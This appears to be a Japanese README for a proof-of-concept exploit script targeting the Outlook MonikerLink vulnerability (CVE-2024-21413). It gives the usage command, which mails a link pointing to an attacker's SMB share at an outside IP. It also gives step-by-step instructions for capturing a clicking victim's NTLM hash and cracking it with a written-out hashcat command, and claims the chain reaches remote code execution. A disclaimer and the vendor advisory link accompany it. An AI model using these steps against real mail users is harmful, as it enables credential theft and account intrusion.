CVE-2024-21413 - Expect Script POC（概念実証）

Microsoft Outlook の資格情報漏洩およびリモートコード実行の脆弱性（CVE-2023-21716 と連鎖させ、プレビューペイン経由で） CVSS:3.1 9.8 / 8.5

Outlook は外部リンクを開く際のリスクについて警告するはずですが、実際はそうではありません。

使い方: ./cve-2024-21413.sh mx.fqdn port sender recipient url

./cve-2024-21413.sh mail.mydomain.com 25 [email protected] [email protected] "\\xx.xx.xx.xx\test\duy31.txt"

注意: chmod +x cve-2024-21413.sh

必要なもの: app expect、正当なIP送信元、およびメール送信元（SPF、DKIM、DMARC を通過するため）

---

• 最初に、以下のように SMB リスナーを実行します。

• POC を実行します。

• メールを待ち、プレビューウィンドウ内のリンクをクリックします。

• すると、影響を受ける Outlook のバージョンでは警告プロンプトなしで、リンクをクリックしたユーザーのログイン情報とハッシュを取得できます。

• その後、hashcat を使ってパスワードをクラックできます。ログイン名を含む行全体をファイルにコピーし、モジュール 5600 で hashcat を実行します。

hashcat -a 0 -m 5600 hash.txt rockyou.txt -o cracked.txt -O

• この CVE を CVE-2023-21716 と連鎖させると、RCE（リモートコード実行）を達成できます!!!

---

謝辞: [https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/]

回避策/修正: [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413]

---

私についてもっと詳しく ;) https://www.linkedin.com/in/duy-huan-bui/

⚠️ 免責事項: 重要: このスクリプトは教育、倫理的なテスト、および合法的な使用のみを目的として提供されています。明示的な許可なくシステムやネットワークで使用しないでください。コンピュータシステムやネットワークへの不正アクセスは違法であり、許可なくアクセスしたユーザーは法的措置の対象となります。作者はこのスクリプトの誤用によって生じたいかなる損害についても責任を負いません。